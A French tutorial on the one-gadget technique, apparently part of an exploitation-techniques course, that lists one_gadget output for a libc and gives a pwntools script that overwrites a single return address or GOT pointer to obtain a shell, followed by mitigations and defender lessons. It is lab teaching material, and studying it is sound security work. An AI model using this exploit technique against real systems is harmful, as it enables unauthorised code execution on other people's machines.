Aller au contenu

one-gadget : une adresse vers un shell

Parfois vous ne contrôlez qu'un pointeur. Un one-gadget est une seule adresse libc qui appelle execve("/bin/sh") si ses contraintes tiennent.

Publié le 4 min de lecture

Ceci est le treizième tutoriel de l'espace Techniques d'exploitation. Le guide ret2libc construisait une petite chaîne — pop rdi, &"/bin/sh", system. Parfois vous ne pouvez même pas caser cela : vous contrôlez exactement un pointeur. Un one-gadget transforme cette unique écriture en un shell.

Votre propre binaire, labo jetable. Voir les règles du labo.

Ce qu'est un one-gadget

À l'intérieur de libc se trouvent quelques adresses où le code environnant réalise effectivement execve("/bin/sh", argv, envp) avec des arguments tirés des registres ou de la pile. Sautez vers une telle adresse avec le bon état et vous obtenez un shell — aucun argument à préparer, aucune chaîne. Le hic est que chaque emplacement ne fonctionne que si ses contraintes sont déjà satisfaites.

L'outil one_gadget les énumère pour une libc donnée :

$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x50a37 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0xebcf1 execve("/bin/sh", rbp-0x50, [rbp-0x58])
constraints:
  address rbp-0x48 is writable
  rbx == NULL || {"/bin/sh", rbx, ...} is a valid argv

0xebcf8 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

Chaque ligne est un offset + l'execve qu'il réalise + l'état qui doit tenir. Votre tâche est de choisir celui que votre point de contrôle satisfait déjà.

En utiliser un, en pratique

Supposez qu'un bug antérieur vous ait donné une fuite libc (voir le guide sur les fuites d'information) et une surcharge d'un seul pointeur — disons une entrée GOT ou une adresse de retour sauvegardée. Vous ajoutez le décalage du gadget choisi à la base de libc et vous écrivez cette unique adresse.

# one_gadget.py — single-write finale, libc base already known
from pwn import *

context.binary = elf = ELF("./vuln")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = LEAKED_LIBC_BASE          # from a prior leak

# Pick the gadget whose constraints your state satisfies.
one = libc.address + 0xebcf8             # execve("/bin/sh", rsi, rdx)

# Deliver it through whatever single control point you have, e.g. a
# return address left after the leak, or a GOT/function-pointer overwrite.
payload = flat({72: one})
io = process("./vuln")
io.sendline(payload)
io.interactive()

S'il plante au lieu de lâcher un shell, les contraintes n'ont pas tenu — choisissez un autre gadget. La variante 0xebcf8 (nécessite que rsi/rdx soient effectivement NULL) est souvent satisfiable juste après un appel qui a mis ces registres à zéro ; la variante rsp & 0xf == 0 nécessite le même alignement sur 16 octets que vous gérez partout en x86-64.

Rendre une contrainte vraie

Si aucun gadget ne convient tel quel, dépensez quelques gadgets pour arranger l'état, puis sautez. Par exemple, un xor esi, esi ; ret et un xor edx, edx ; ret avant le one-gadget satisfont la troisième variante. À ce stade vous revenez à une petite chaîne — mais une préparation à deux gadgets plus un one-gadget reste plus petite qu'un ret2libc complet chargeant les arguments, et c'est le compromis pragmatique.

Réactivez les mitigations

Un one-gadget n'est qu'un final ret2libc, les mitigations sont donc les mêmes :

MitigationEffet
ASLRVous devez d'abord fuiter la base de libc ; le décalage seul est inutile
PIE + canariArrêtent ou masquent le détournement du flux de contrôle qui livre l'adresse
Shadow stack / CETAvorte le retour détourné qui saute vers le gadget
Full RELROBloque spécifiquement le chemin de livraison par surcharge de la GOT

Il n'existe pas de défense spécifique au one-gadget : c'est une propriété du code de libc, découverte par un outil. Ce que vous défendez, c'est la livraison — la fuite et l'écriture unique.

Ce que cela enseigne à un défenseur

  • Une surcharge d'un seul pointeur est souvent la fin de partie une fois libc connue. Ne supposez pas que « ils ne peuvent changer qu'une seule valeur » limite les dégâts. Si cette valeur est un pointeur de code et que libc est fuitée, une adresse est un shell.
  • La fuite libc est de nouveau la clé de voûte. Chaque one-gadget a besoin de la base. Priorisez la fermeture des divulgations d'information — elle conditionne celle-ci et la plupart des autres finals de la série.
  • Maintenir libc à jour change les gadgets. Différentes versions de libc ont différents one-gadgets et contraintes ; certaines compilations n'en ont aucun facilement satisfiable. Ce n'est pas une défense sur laquelle compter, mais c'est un frein réel.

Points clés

  • Un one-gadget est une seule adresse libc qui exécute execve("/bin/sh") quand ses contraintes de registres/pile tiennent.
  • L'outil one_gadget les liste avec leurs contraintes ; choisissez celui que votre point de contrôle satisfait, ou arrangez l'état avec quelques gadgets.
  • Il transforme une surcharge d'un seul pointeur plus une fuite libc en un shell — sans préparation d'arguments.
  • La défense vise la livraison : arrêtez la fuite, masquez les adresses (PIE/ASLR), et rejetez le retour détourné (shadow stack).

Ensuite : bacs à sable seccomp et la chaîne open-read-write, pour les cibles où execve est interdit et où un shell est hors de question.

Guides associés

0x7000 · Techniques d'exploitation

Retourner dans la libc : la technique ret2libc

NX est actif et le binaire est minuscule, mais la libc est mappée et pleine de code utile. Fuitez sa base malgré l'ASLR, puis retournez dans system("/bin/sh").